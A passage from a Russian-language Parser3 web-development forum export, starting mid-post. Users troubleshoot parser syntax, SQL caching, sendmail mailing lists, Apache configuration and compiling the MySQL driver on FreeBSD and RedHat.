[b]^if(def ...){}{}[/b]\
это можно передать, а через [b]^ifdef[/b] -- нельзя?\
\
Причем, это уже не впервые, когда по отдельности функции работают нормально, а вместе -- глючат...\
\
Ладно -- наверное, у меня еще слишком мало опыта, и поэтому я еще могу удивляться тому, что что-то работает не так, как хотелось бы.\
\
Закрыли тему."
"8828","Почему \"AddType parsed-html .htm\"?\
откуда точка?\
У меня без таковой всё работает"
"8829","То же самое, но <b>FreeBSD 4.6.2</b>, и все делал как в инструкции (так же как и предидущий оратор), и <b>AllowOverride</b> проверил так как предложил <b>Misha v.3</b>, да и в httpd.conf его нашёл, и закачивал в бинарнике, и с пермишинами баловался, и сравнивал с другим сервером где собственноручно поставил и всё пучком, но так и неработает. Не выполняет код а показывает."
"8830","http://httpd.apache.org/docs/mod/mod_mime.html#addtype"
"8831","обращал внимание, но видимо без успеха:\
http://parser.ru/forum/?id=8795\
\
Ром,\
смотри:\
\
есть [] скобки и есть {} скобки.\
\
первые вычисляются ДО вызова, потом в метод передаётся вычисленное, вторые ВНУТРИ вызова, при обращении к параметру, с каждым обращением. если не будут обращаться к параметру ни разу, ни разу не вычислятся.\
\
такой вызов ifdef:\
\
[code]^ifdef[что-то][действия][/code]\
\
будет ДО вызова выполнять действия, что совершенно не то, что ты хочешь.\
\
такой вызов ifdef:\
\
[code]^ifdef[что-то]{действия}[/code]\
\
будет выполнять действия ВНУТРИ вызова ЕСЛИ нужно.\
\
системный if, понятно, грамотный, и такого вызова просто не позволяет:\
[code]\
^if(1)[yyy]\
[/code]\
заявляя, что второй параметр должен быть [b]кодом[/b].\
\
пользовательский ifdef тоже может быть грамотным, и подстраховать от неправильных вызовов, но я не стал загромождать этим свой пример.\
если делать, [b]как это сделано в системном if[/b], надо:\
\
[code]\
@ifdef[condition;yes;no]\
^if(!($yes is junction && !def $no || $no is junction)){\
 ^throw[user;argument must be code]\
}\
…\
[/code]\
\
тогда он также не будет позволять\
[code]\
^ifdef[xxx][yyy]\
[/code]\
конструкции, как их не позволяет системный ^if.\
\
понятно, что сам язык не знает, что делает конкретный метод, и не может догадываться о необходимом типе параметров, если ему не подсказать.\
\
тут можно было бы пойти по пути многих других языков, и ввести что-то типа\
\
[code]\
@ifdef[value condition;code yes;code no]\
…\
[/code]\
\
но это не в духе parser. а, как было показано, если нужно проверить тип параметра, принципиальная возможность имеется."
"8832","На форуме неоднократно утверждалось, что работа с sql сервером -- очень узкое место в плане производительности. А какой именно этап максимально требователен к ресурсам/времени: обработка запроса сервером, передача результатов запроса обратно в парсер или что?\
\
Другими словами, как лучше: длиииинннный SELECT с кучей JOIN который отдаёт чуть информации, или несколько простых select'ов, отдающих больше информации, но с последующим разбором парсером того, что отдалось?\
\
Вроде понятно объяснил.. ;)"
"8833","павел, высший балл за subject!\
\
есть ещё момент соединения с сервером: скажем, с oracle соединение относительно медленное, и лучше использовать mod_parser3 или isapi версию, которая кэширует соединения. а если и использовать cgi вариант, то только с ^cache, уменьшающем количество соединений с базой до разумного минимума.\
\
по второй части вопроса: mysql замечен за медленным выполнением сложных многотабличных запросов. [b]однако[/b] в большинстве случаев лучше оставить его работу ему. если вы начнёте делать её сами на parser, вы будете обрабатывать большие объёмы, и вам может не хватить памяти, поскольку parser расчитан на [b]сборку[/b] страницы из частей, а вовсе не на обработку тысячестрочных таблиц в поиске пары записей.\
\
диагноз:\
1. непременно используйте ^cache(…){^connect[…]{…}}, чтобы [b]просто не выполнять[/b] лишний раз sql запросы, не нагружать sql-сервер;\
2. поручайте максимум работы sql серверу, он для того и задуман=оптимизирован;\
3. всегда проверяйте качество сложного запроса explain'ом, так вы поймёте, не забыли ли где создать индекс, и нет ли других подводных камней."
"8834","а если у меня 1 connect на весь сайт? К примеру, что-то типа этого : \
[code]\
@USE\
mysql.p\
site_conf.p\
\
@auto[]\
$MAIN:pSQL[^mysql::init[^site_conf:connect_string[]]]\
\
@main[]\
^MAIN:pSQL.server{\
	^body_free[]\
	^header[]\
	^body[]\
	^footer[]\
}\
[/code]\
...?\
\
Кэширование данной конструкции к хорошему не приведет; особенно при рассмотрении \"кишащего\" форума...\
Я прав?!"
"8836","Как я понимаю, для каждой страницы должен присутствовать уникальный cache_key. В указанном же примере, я не нашел уникального key'a. Или я чего-то не доглядел?"
"8837","[code]\
# определяем ключ кеширования. \
# Для разных броузеров/платформ мы храним данные отдельно, \
# т.к. мы можем отдавать разным броузерам различный код.\
$cache_key[^request:query.match[^^([^^=]*=)][]{}_${platform}_${browser}]\
[/code]\
\
Можешь придумать свой алгоритм ..."
"8838","что \
\
# Для разных броузеров/платформ мы храним данные отдельно, \
# т.к. мы можем отдавать разным броузерам различный код.\
\
Но я же захожу и тусуюсь по сайту на одном браузере! Или вы предлагаете мне на каждую страницу сайта заводить новый браузер?\
"
"8839","тут требуют чтобы в To: или Subject: было указание имени, но вот как это запихать?\
у меня 45 адресов(будет 80), каждому персонально посылать 4 раза в день - сервак жалко, а так у меня через \"menu\" все адреса кидаются в Bcc: и все нормально.\
может кто это делал без \"левых\" программ?(только crontab+sendmail+PARSER)"
"8841","во первых там была ошибка - ключ должен составляться из uri, а не query (fixed)\
\
во вторых - это ПРИМЕР, а не готовый код\
\
в третих, каждый закешированый документ хранится на диске для каждого броузера отдельно. это не разжевано потому, что код очень простой, и я полагал, что это очевидно."
"8843","В этом случае, если я правильно понял суть вопроса, лучше пользоваться службой рассылок. Иначе владельцы хостинга могут принять тебя за спамера.\
"
"8845","Я сам работаю на этих людей, которым принадлежат и сервер и хост и сайт города\
так что вопрос остается в силе"
"8846","Парсер можно запускать как standalone-application: http://www.parser.ru/docs/lang/parserscript.htm\
\
Т.е. никто не мешает тебе сделать на парсере скриптик, который будет выполнять рассылку и скормить его crontab-у ..."
"8847","У sendmail есть понятие alias. В BSD это обычно /etc/mail/aliases и /ets/mail/aliases.db\
Формат /etc/mail/aliases: name: addr_1, addr_2, addr_3, . . ., где name - имя альяса, addr_n - адреса...\
Пишешь что-то типа: subscribers: vasya@pupkin.ru, vova@putin.ru, ...\
Потом пускаешь newaliases.\
Все письма на subscribers@your_domain будут автоматом по всему списку сыпаться, да еще и никто никаких адресов не увидит.\
Создать такой файл и пустить newaliases парсером очень легко. Дальше - man sendmail, man aliases, man newaliases..."
"8848","имеет большой смысл обрабатывать возможные ошибки доставки.\
они будут возвращаться на адрес from.\
\
если этого не делать, со временем часть адресов загрустит, и вы будете упорно рассылать туда, куда нельзя = получать массу писем от роботов.\
\
и ещё: обязательно сделайте подтверждение на подписку: самый простой вариант: подписывайте человека не сразу, а отправляйте ему письмо с просьбой подтвердить подписку, нажав на http://your.domain.ru/subscribe/confirm.html?confirmKey=234hjhdjsfh234h"
"8849","Да! Это он наш любимый поч..  нет foreign group disabled!\
Админ на хостинге говорит что сделал php_admin_flag_safe_mode on в \
httpd.conf\
\
А ошибка не изменилась!?\
\
user-request(1): '/home/aviatech/public_html/parser.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/home/aviatech/public_html/parser.html'  type: parser.runtime\
\
Чё делать? \
\
Спасибо! Заранее!!!"
"8850","прочитай FAQ на этом сайте, гайди этот вопрос, дай прочитать своему админу, если не исправит, ищи по форуму ссылку где взять несекьюр версию parser!!!  "
"8851","Откомпилировал парсер с MySQL-драйверами из исходников. Ошибок при компиляции не наблюдалось. При исполнении тестового файла выдал ошибку при обращении к MySQL - \"^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера.\" Драйвера лежат где положено, т.е. куда прописаны пути. Пароль, логин, базы - всё в порядке. В чём может быть проблема?"
"8852","Прочти ещё раз пост! \
Как ты видишь админ прочитал и попытался исправить положение.\
Теперь моя задача выяснить почему у него это не получилось.\
\
А возможнось не сикьюрити версии оставляю как последний вариант!"
"8853","SELECT 2+2 - так нельзя, как надо, - смотри руководство по языку."
"8854","> Админ на хостинге говорит что сделал php_admin_flag_safe_mode on в httpd.conf\
\
Какое отношение конфигурация PHP имеет к парсеру?!!! Давай я у себя на компьютере обои на рабочем столе поменяю - вдруг у тебя парсер заработает? \
"
"8855","Так я взял файл тестовый с этого сервера. _test.html"
"8857","ты все-таки открой руководство по SQL и погляди синтаксис SELECT"
"8858","тут работает http://parser.ru/_test.html (и не только тут)\
\
http://www.mysql.com/documentation/mysql/bychapter/index.html#Non-typed_Operators\
\
видим: SELECT 1+2*3;"
"8859","думал что обязательно надо иметь from ... и т.д. буду знать"
"8861","http://www.parser.ru/forum/?id=8528"
"8862","если посмотреть код _test.html (о нем и идет речь), то можно увидеть, что тип ошибки НЕ sql.connect и НЕ sql.execute, но ошибка возникает при выполнении ^int:sql{}...\
"
"8863","Файл тестовый выводит только сообщение о том, что имеется ошибка, и всё... Никаких пояснений... Тестовый файл - _test.html с этого сервера."
"8864","Когда увидел эту строчку, тоже подумал что мальчик глючит!\
Но оказалось что нет! Он говорит что в ФАКе от него требовали именно это, а php тут не причём!\
\
Ты лучше скажи, если знаешь конечно, какую строчку ему надо подкоректировать в httpd.conf!!\
\
Ши-ши"
"8866","Прошу прощения за тупость, но что мне это даёт? Где проблему-то искать?"
"8867","...жди комментария ПАФа..."
"8868","У кого-нибудь есть откомпилированные?"
"8869","А ты как я вижу сладкоежка!!! \
\
Дык вот только трабла у меня! У меня хостинг под RH 7.2!\
\
А если я туда БиИзДишный компайл кину он работать будет??? \
"
"8870","Админ ваш, извините, неграмотный и ленивый. Настройка модуля php никоим образом не относится к парсеру.\
Все, что нужно сделать админу - скомпилировать на машине (или дать вам право на это) парсер из исходных кодов. Где качать шапошную версию без форейна я, к сожалению, не знаю."
"8871","Предположим он такой!\
\
Тогда подскажи пожалуйста что должен сделать грамотный и трудолубивый админ.\
Он хоть правильно полёз в httpd.conf?\
\
Компиляцию из исходников оставим как последний вариант!"
"8872","Уважаемые, а нет ли у студий Art.Lebedev Group или просто у жителей форума сайтов, активно работающих с MySQL и/или PostgreSQL? Интересует, есть реально сложзные сайты, много и трудно использующие БД, сделанные на Parser."
"8873","В принципе, да. Он может в httpd.conf выдать запускаемым процессам ту же группу, что и пользователям хостера. Тогда ограничение будет снято и можно пользоваться уже собранным парсером."
"8874","А ещё конкретней можешь обяснить! Что в httpd.conf нужно подправить!\
Какую строчку и как?"
"8875","Ни в жисть не догадаешься, как параметры называются =)\
Привожу кусок конфига (моего)\
\
#\
# If you wish httpd to run as a different user or group, you must run\
# httpd as root initially and it will switch.\
#\
# User/Group: The name (or #number) of the user/group to run httpd as.\
#  . On SCO (ODT 3) use \"User nouser\" and \"Group nogroup\".\
#  . On HPUX you may not be able to use shared memory as nobody, and the\
#    suggested workaround is to create a user www and use that user.\
#  NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)\
#  when the value of (unsigned)Group is above 60000;\
#  don't use Group nogroup on these systems!\
#\
User nobody\
Group nogroup\
"
"8877","Это-то да. Но я спецально уточнил, что интересуют рабочие примеры сложного использования парсера и маломощных БД. Дело в том, что у меня есть идейка (некоммерческая, но сложная) и я хочу выяснить, стоит ли с моими возможностями (parser, mysql) за нее браться. На оракле и c++ я точно зною, что можно реализовать, но мне оракел не подарят =)"
"8878","Кто подскажет? Может нужны какие-то хитрые опции при компиляции/конфигурировании?"
"8879","В логе сайта написано \"Premature end of script headers\". Я атрибут файла parser3.cgi и др. проверил, установил все значения, в том числе разрешил запуск. \
\
Значит неверна версия ОС? На сервере FreeBSD 4.7. Я скачал версию для FreeBSD 4.6. Что моя версия слишком новая? Что делать? А не может Студия Лебедева выставить версию для FreeBSD 4.7?\
"
"8880","или что он двоично не совместим с вашей версией ОС. Файлы для FreeBSD 4.6 будут работать в 4.7. Возможен также вариант о котором написано на главной странице этого сайта."
"8881","Что означает закачан непрвильно? Я просто взял в руки FAR Manager и скопировал на сервер в свою область. Что есть другие способы закачки? Ответьте, будьте так любезны."
"8882","Вам надо закачивать в binary, как это делается в FAR я не знаю, в IE очень просто."
"8883","Что такое IE? Не браузер ведь? Подробнее, ссылки где скачать в интернете и т.п."
"8884","и кроме энтого самого браузинга, он может и как ftp клиент работать :) я ясно объясняюсь?"
"8885","это там надо [b]from dual[/b]"
"8889","НО как? Почему вы не слова не сказали об этом? Как браузером скопировать файл на сервер в двоичном виде?"
"8890","чтобы другие не наступали, и нашли этот ответ поиском по форуму"
"8891","можно сказать, что все сделано с MySQL\
исключения:\
ЦДР ФОРЭМ - MSSQL\
Samsung moby - Oracle (их корпоративная политика)\
МТС в Питере - Oracle (их корпоративная политика)\
Green House - по моему вообще нет БД\
Bejart Ballet Lausanne - по моему вообще нет БД\
Интероптика - по моему вообще нет БД\
ну и еще про парочку я не знаю :)\
\
так что наверное все-таки стОит описать задачу..."
"8892","берешь набираешь в строке адреса адрес своего ftp, заходишь куда надо, берешь и делаешь copy/paste файла с локального диска :)"
"8893","Я поймал одного гада и рещил его припустить немножко. Т.е. совсем. Ну, и опустил."
"8894","А Тостер и eBazaar сделаны на Parser3+MySQL? Хм... Тогда я, пожалуй, смогу сделать то, что хочу.\
\
Собственно, моя задача не самая сложная: если не вдаваться, то надо показывать страницы с текстом (0,5 - 2 кило художественного текста), парся его на предмет ключевых слов (в базе, собственно, шаблоны хранятся) + небольшой но емкий (запросов на пять) контроль за маршрутом пользователя + база данных пользователей.\
\
Вроде бы ничего сложного, но я для себя написал прототип под Win32 (на Delphi) и с нагрузкой порядка 100 одновременных активных пользователей у меня MySQL не справился - пришлось на Oracle (или Interbase) переходить. А хостеры, предоставляющие Ora или IB-базы мне неизвестны."
"8895","Может возникнуть вопрос: почему прототип на native-коде работает так медленно. Отвечаю - машина не самая сильная была. У хостеров пошустрее, да и не персоналки, из чего делаю вывод, что парсер и mysql справятся (часто хостинг и сервер БД это вообще разные машины, что также даст выигрыш)."
"8896","Работа с SQL\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
\
Одна ошибка только, всё остальное вроде в порядке."
"8898","Работа с SQL\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
Сообщение об ошибке: \
\
function 'create' was not found \
/www/test/cgi-bin/parser/lib/libparser3mysql.so.0.0 \
"
"8899","Всем привет.\
Игрался с mod_rewrite. В итоге обнаружил, что не срабатывает ключ [L] при описании RewriteRule в .htaccess. При описании правила в httpd.conf все работает.\
\
Тестовый пример:\
\
#.htaccess\
\
RewriteEngine on\
RewriteRule ^index.html$ /test/index.php [L]\
RewriteRule ^index.php$ /test/index2.html [L]\
\
#End .htaccess\
\
По логам после совпадения в первом правиле выполняется internal redirect в ходе которого уже \"index.php\" проверяется на соответствие первому и второму правилу. После совпадения во втором правиле еще один internal redirect с проверкой на соответствие и первому и второму правилу. И только потом обработка прекращается.\
\
Ключ [NS] не помогает. \
Ключ [NC], например, работает.\
\
Apache версии 1.3.23.\
В чем дело? Help!"
"8900","Наверное, кроме как персонально посылать ничего не получится. Придётся писать mail:send внутри menu, а не наоборот, т. е. один mail:send формирует только одно письмо. Тело самого письма (статические данные) можно (нужно) сформировать заранее, записав в какую-нибудь переменную. Если будет только 80 адресов, то вроде должно работать. Какие ещё могут быть варианты? "
"8901","Можно ли, например, исправить сообщения двухмесячной давности? ;-) \
\
А ещё хорошо-бы и кнопку удалить сделать. ;-) "
"8902","Есть сайт на valuehost.ru стоит парсер... без проверки группы и т.д.\
Беру его оттуда, закачиваю на liderhost.ru (1в1 валуе, только дизайн другой). Все полностью точно также.Все файлы 1 в 1. Binary. результат - 500....\
Сколько ни бился - хрен...\
Скачиваю новый отсюда - foreign group disabled... все нормально типа! :)\
В чем грабли кто-нить знает????\
Тока не надо меня посылать собирать из исходников, ладно? :)\
Кто собирал - мож поделитесь?\
\
И еще - причины \"невставания\" драйвера MySQL?\
_________\
Всем заранее спасибо..."
"8903","Перекачал foreign group disabled? Работает? Так чего ещё надо! ;-) "
"8904","да не, вот именно что пишет foreign group disabled...\
Это я умникам, которые будут говорить проверь там точку, проверь тут точку..."
"8905","Под словами \"foreign group disabled\" здесь понимают соответствующую версию парсера3. ;-) Которая тебе и нужна. \
Подробнее об этом на главной странице. ;-) А ещё говорят, что поиск тоже помогает (STFF)."
"8906","Техподдержка говорит, что совсем недавно один клиент с их помощью пытался поставить, но ничего не получилось. ELF и все... И никак не получается заставить его работать (у меня, в общем, то же самое).\
Но они говорят, что одному клиенту все-таки удалось с помощью shell-доступа как-то поставить Парсер. Только не помнят кому...\
\
Может кто-то еще здесь пробовал устанавливать на Мастак (http://www.mastak.ru) Парсер?"
"8907","Шутники они наверное. ;-) Называются \"лучшим хостингом на двух континентах\", и даже не помнят и не знают кто что ставил и как. ;-) У меня первая часть сообщения вызывают только улыбку. ;-) \
\
Пиши подробнее, какая ОС, какие ошибки, логи, и т. д. В любом случае, парсер3 всегда можно собрать из исходников."
"8908","Пример создания универсального скроллера:\
http://www.spearance.tura.ru/parser3/scroller/\
ссылку на текст для раздела \"примеры\" я тебе уже отправлял"
"8909","почему в .so.0.0?\
ведь собиралась .so\
\
если ваш админ так решил, спросите его/напишите сюда его ответ.\
\
если сами собирали, что-то не то с этой библиотекой.\
скажите [code]nm имя_файла[/code], и copy/paste сюда результат."
"8910","Да я уже писал: http://www.parser.ru/forum/?id=8514 и http://www.parser.ru/forum/?id=8213, но никакие советы не помогли.\
\
RedHat 7.2 + Apache 1.3"
"8911","Если у кого нибудь есть, киньте письмом пожалуйста!!!\
Или скажите где скачать!\
\
Спасибо"
"8913","Собственно вывод команды.\
\
bash-2.05a# nm libparser3mysql.so.0.0\
00001100 F .libs/libparser3mysql.lax/libltdlc.al/ltdl.lo\
0000059d t L129\
000013fe t LC1\
00001d06 t LC10\
0000018b t LC10\
00000193 t LC11\
00001d1a t LC11\
00001d29 t LC12\
00000197 t LC12\
0000019a t LC13\
00002ace t LC13\
00002ccf t LC14\
000001c0 t LC14\
000001e5 t LC15\
00000200 t LC16\
00000222 t LC17\
00000240 t LC18\
00000265 t LC19\
000017c4 t LC2\
00000100 t LC2\
00000280 t LC20\
000002aa t LC21\
000002c0 t LC22\
000002e3 t LC23\
000002ef t LC24\
00000320 t LC25\
0000034a t LC26\
00000360 t LC27\
00000383 t LC28\
000003a0 t LC29\
00001a59 t LC3\
0000011f t LC3\
000003c2 t LC30\
000003e0 t LC31\
0000040b t LC32\
00000420 t LC33\
00000449 t LC34\
00000460 t LC35\
0000048b t LC36\
000004a0 t LC37\
000004c7 t LC38\
000004e0 t LC39\
00001cc3 t LC4\
00000127 t LC4\
00000509 t LC40\
0000051a t LC41\
000005a5 t LC42\
000005b2 t LC43\
00001cc7 t LC5\
0000012f t LC5\
00001cd9 t LC6\
00000138 t LC6\
00001ce9 t LC7\
00000143 t LC7\
00001cf1 t LC8\
0000015a t LC8\
00001cfe t LC9\
00000178 t LC9\
00000004 s _IDENT_SQL_DRIVER_H\
00004184 d _IDENT_SQL_DRIVER_H\
00000004 s _RCSId\
00004180 d _RCSId\
00004000 d __DYNAMIC\
00004060 D __GLOBAL_OFFSET_TABLE_\
00001100 t ___gnu_compiled_c\
00000020 t ___gnu_compiled_cplusplus\
000005c4 T ___tf10SQL_Driver\
000005fc T ___tf12MySQL_Driver\
00000008 C ___ti10SQL_Driver\
0000000c C ___ti12MySQL_Driver\
00004200 D __vt$10SQL_Driver\
000041a0 D __vt$12MySQL_Driver\
00000664 T _api_version__12MySQL_Driver\
00000019 s _buffer_overflow_error\
000011b7 t _buffer_overflow_error\
00000017 s _cannot_close_error\
0000116e t _cannot_close_error\
00001158 t _cannot_open_error\
00000016 s _cannot_open_error\
00000abc T _commit__12MySQL_DriverR19SQL_Driver_servicesPv\
000006a4 T _connect__12MySQL_DriverPcR19SQL_Driver_servicesPPv\
0000052c T _create\
00000004 s _default_preloaded_symbols\
00004280 d _default_preloaded_symbols\
00000a94 T _disconnect__12MySQL_DriverPv\
00000e58 T _dlink__12MySQL_DriverPCc\
00001119 t _dlopen_not_supported_error\
0000001d s _dlopen_not_supported_error\
000042b4 D _edata\
000042b4 B _end\
00003ca0 T _etext\
00001136 t _file_not_found_error\
0000000f s _file_not_found_error\
00001a5c t _find_file\
000017c8 t _find_module\
00000004 s _handles\
000042a8 d _handles\
00000670 T _initialize__12MySQL_DriverPc\
00000004 s _initialized\
000042ac d _initialized\
000011a8 t _invalid_handle_error\
0000000f s _invalid_handle_error\
00004258 d _last_error\
00000004 s _last_error\
00001ca4 t _load_deplibs\
000000b4 t _lsplit__FPPcc\
00000078 t _lsplit__FPcc\
00002cd4 T _lt_dladdsearchdir\
000029f0 T _lt_dlclose\
00002cac T _lt_dlerror\
000015fc T _lt_dlexit\
00004260 D _lt_dlfree\
00002e9c T _lt_dlgetsearchpath\
000014f8 T _lt_dlinit\
0000425c D _lt_dlmalloc\
00001d38 T _lt_dlopen\
0000281c T _lt_dlopenext\
0000159c T _lt_dlpreload\
000015dc T _lt_dlpreload_default\
00002dfc T _lt_dlsetsearchpath\
00002ad4 T _lt_dlsym\
00001196 t _memory_error\
00000012 s _memory_error\
00000013 s _no_symbols_error\
00001145 t _no_symbols_error\
00000007 s _objdir\
00001100 t _objdir\
00000acc T _ping__12MySQL_DriverR19SQL_Driver_servicesPv\
00000004 s _preloaded_symbols\
00004284 d _preloaded_symbols\
00004288 d _presym\
0000001c s _presym\
00001378 t _presym_add_symlist\
00001498 t _presym_close\
00001358 t _presym_exit\
0000130c t _presym_free_symlists\
000012d0 t _presym_init\
00001408 t _presym_open\
000014a0 t _presym_sym\
00000b30 T _query__12MySQL_DriverR19SQL_Driver_servicesPvPCcUlUlR31SQL_Driver_qu\
ery_event_handlers\
00000af8 T _quote__12MySQL_DriverR19SQL_Driver_servicesPvPcPCcUi\
00000ac4 T _rollback__12MySQL_DriverR19SQL_Driver_servicesPv\
00000004 s _shlib_ext\
00001107 t _shlib_ext\
000011d0 t _shutdown_error\
00000019 s _shutdown_error\
000010d8 T _subst_mysql_error__12MySQL_DriverP8st_mysql\
000010f0 T _subst_mysql_field_count__12MySQL_DriverP8st_mysql\
000010e4 T _subst_mysql_num_fields__12MySQL_DriverP12st_mysql_res\
00000011 s _symbol_error\
00001185 t _symbol_error\
00004264 d _sys_dl\
0000001c s _sys_dl\
00001248 t _sys_dl_close\
000011f4 t _sys_dl_exit\
000011ec t _sys_dl_init\
000011fc t _sys_dl_open\
0000128c t _sys_dl_sym\
00001694 t _tryall_dlopen\
00000004 s _types\
000042b0 d _types\
0000110b t _unknown_error\
0000000e s _unknown_error\
00001cbc t _unload_deplibs\
00000004 s _user_search_path\
000042a4 d _user_search_path\
00000020 t gcc2_compiled.\
00001100 t gcc2_compiled.\
00000020 F parser3mysql.lo\
"
"8914","есть ощущение, что есть проблема с подчёркиванием в имени.\
\
видимо, на вашей платформе никто раньше не пробовал собирать gnu библиотеку libltdl, копия которой находится в исходниках parser:\
[code]\
parser3/lib/libltdl\
sql/mysql/libltdl\
[/code]\
\
а configure этой библиотеки неправильно определил, нужен ли подчерк при обращении к имени.\
\
попробуйте такое:\
\
в обоих каталогах libltdl пойти в config_auto.h и добавить строку\
#define NEED_USCORE 1\
\
"
"8916","2Konstantin [http://parser.ru/forum/?id=8464]\
\
и что получилось?"
"8917","Суть : \
после = если нет \" то завернуть аттрибут в \"\"\
Закрыть теги типа : br,hr,img\
\
$br[^br.match[=[^^\"](.+)[^^\"]][gi]{\"$match.1\"}]\
$br[^br.match[(<IMG.*)>][g]{$match.1}/>]\
не пашет...\
\
помогите родить, плз :)"
"8919","После конфигурирования добавил в файл /parser3project/parser3/src/lib/libltdl/config_auto.h строчку \
\
#define NEED_USCORE 1\
\
В результате всё заработало.\
Большое спасибо за помощь!"
"8920","забавно.\
дело в том, что parser3mysql с libmysql.so работает через такую же libltdl, которая лежит в src/mysql/libltdl.\
\
интересно, там что, в config_auto.h configure догадался правильно положить, а тут не догадался?\
\
пристаю с вопросами, чтобы понять, как предотвратить подобное в будущем."
"8921","[code]\
@abrAttr[txt]\
$result[^txt.match[(\\S=)([^^\"\\s]+)([\\s\\/>]?)][g]{${match.1}\"${match.2}\"${match.3}}]\
\
\
@main[]\
$text[<br>\
<p/>\
<br />\
<img src=/i/123.gif border=1 width=\"13\">]\
\
$text[^text.match[<([^^>]+)>][g]{<^abrAttr[$match.1]>}]\
$text[^text.match[<([^^>]+[^^\\/])>][g]{<$match.1/>}]\
^taint[$text]\
[/code]"
"8923","Не знаю точно, но изменять понадобилось только 1 файл, а кроме того, перед компиляцией драйвера _необходимо_ скопировать папку parser3 на один каталог выше, иначе (вывод команды gmake из каталога parser3mysql):\
# gmake\
gmake  all-recursive\
gmake[1]: Entering directory `/parser3project/parser3mysql-3.0.0005'\
Making all in libltdl\
gmake[2]: Entering directory `/parser3project/parser3mysql-3.0.0005/libltdl'\
../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I..     -g -O2 -c ltdl.c\
gcc -DHAVE_CONFIG_H -I. -I. -I.. -g -O2 -c ltdl.c  -fPIC -DPIC -o ltdl.lo\
../libtool --mode=link gcc  -g -O2  -o libltdlc.la   ltdl.lo\
mkdir .libs\
ar cru .libs/libltdlc.al ltdl.lo\
ranlib .libs/libltdlc.al\
creating libltdlc.la\
(cd .libs && rm -f libltdlc.la && ln -s ../libltdlc.la libltdlc.la)\
gmake[2]: Leaving directory `/parser3project/parser3mysql-3.0.0005/libltdl'\
gmake[2]: Entering directory `/parser3project/parser3mysql-3.0.0005'\
gmake[2]: *** No rule to make target `../../parser3/src/sql/pa_sql_driver.h', needed by `parser3mysql.lo'.  Stop.\
gmake[2]: Leaving directory `/parser3project/parser3mysql-3.0.0005'\
gmake[1]: *** [all-recursive] Error 1\
gmake[1]: Leaving directory `/parser3project/parser3mysql-3.0.0005'\
gmake: *** [all-recursive-am] Error 2\
\
Делаем \
\
# cp -r ../parser /\
\
(на один каталог выше - у меня в корень)\
\
И после этого нормально компилируется."
"8924","Туда его!!! Серьезно, нужная вешь.. А тут еще спрашивают: Зачем он нужен :-)"
"8926","надо было спустить parser3mysql в каталог sql.\
ещё раз:\
[code]\
parser3project/parser3\
parser3project/src/mysql\
[/code]\
просьба: загляните в mysql/libltdl/config_auto.h\
что же там? есть или нет NEED_USCORE?"
"8927","Это не восклицание, вопрошание и улыбки - это ШОК!!! Неужели ты не допираешь, где можно заюзать этот КЛАССНЫЙ код?! Если нет - так и быть, я тебе растолкую...\
Ты когда либо замечал на сайтах постраничный вывод данных? Это когда у тебя 2000 записей, и тебе надо выводить по 20 записей на страницу. Вот здесь тебе и пригодится вышеуказанный код. Сечешь? Или нет?! Если нет - я - пасс. Бог тебе судья..:)"
"8929","Что ты имеешь ввиду?\
\
Код, который предоставил Юджин(я надеюсь, он позволит себя так называть), предназначен для постраничного вывода данных, в общем не помещающихся на одной странице(нуу, или как кому вздумается). И его(код) с легкостью можно использовать в гостевой книге. Очень советуется даже. Для легкоусвояемости материала."
"8930","Я перезакачал в cgi-bin файлы с Парсером с помощью браузера, включил атрибуты на запись. Все равно не работает. Ошибка та же в логе: Premature end of script headers. \
\
Кстати, мне системный админ-р сказал, что у них не принято в файл .htaccess вносить строки об отмене доступа к файлам (cfg. p). Это, говорит, запрещено на сервере (ХЗ по какой причине)."
"8931","просто подойти к нему, и запустить.\
и сказать, что он при этом скажет.\
\
ощущение: в данном случае система установлена как-то нестандартно, какой-то супердревний glibc или что-то подобное.\
\
вообще-то это было бы видно в script_log [не путать с error_log], но, очевидно, apache не настроен, чтобы такой файл создавался.\
\
отдельная просьба: прочесть письмо целиком."
"8932","Подойти к серверу я не могу, потому что меня в \"СибЧелендж\" не пустят. Я купил место под сайт и хочу свой сайт написать на Парсер. Вот. С системным адм-ом я могу общаться только по телефону.\
\
Что мне делать?"
"8935","А сказать что в логах? А сказать когда ошибка возникает?\
"
"8936","Пример: написал \"есть проблема, не работатет то-то и то-то\" и после поста догадался... тут же напиши - \"решается проблема так-то и так-то\".\
Любой читаюший встретив такую же проблему и найдя этот пост найдет и ответ.\
А если действительно удалить надо, так на это модераторы есть."
"8937","поднимите трубку\
наберите номер\
позовите админа\
прочтите ему моё сообщение\
может он поймёт, что «подойдите и запустите» делается так «подойти курсором и нажать enter»."
"8939","рома воронежский решил, что он похож на \
http://parser.ru/f/1/ptic.gif\
\
некоторые идеи есть тут:\
m4: [b]погруженность языка в текст[/b]\
perl: [b]промежуточный байткод, часть духа[/b]\
\
некоторые идеи совершенно оригинальны:\
[b]tainting с учётом языка[/b]\
[b]отложенное или немедленное выполнение кода в зависимости от скобок[/b]\
"
"8940","это похоже на постраничный вывод?"
"8941","в таблице есть поле data, в поле дата в UNIXTIME-format,\
запрос для вывода:\
select data as sort_data, FROM_UNIXTIME(data,'%d.%m.%y') as data, header, text from news where otdel='sport' order by sort_data DESC limit 5\
сортировка работает только для разных дней, почему не пашет сортировка \"внутри\" одного дня - ХЗ"
"8943","На 8 топиков ниже разговор шел...\
Скачал последнюю версию с grupulim - теперь выдает Unhandled Exception, причем не парсер а апач...\
В логах че-то вообще пусто... как обозначиться - кину..."
"8944","Так че теперь парсер всегда Unhandled Exception выдает????\
нафига... :(\
а так все заработало..."
"8945","Дадно, по порядку.\
\
Корень моего веб-пространства - [b]/home/sites/site933/web/[/b].\
В общем-то, я имею доступ к [b]/home/sites/site933/[/b].\
Как уже говорилось на сервере - RedHat 7.2 + Apache 1.3.\
\
Сначала я хотел поставить парсер в директорию [b]/parser/[/b] (относительно корня веб-пространства). Бинарно закачал туда стандартный CGI для RedHat из download`ов и конфиг-файлы (драйверы БД не ставил, потому что БД в плане хостинга все равно нет).\
\
С [b].htaccess[/b] все в порядке. По крайней мере у меня в локале на RedHat 7.3 + Apache 1.3 это работает.\
\
Права доступа у CGI - 755.\
\
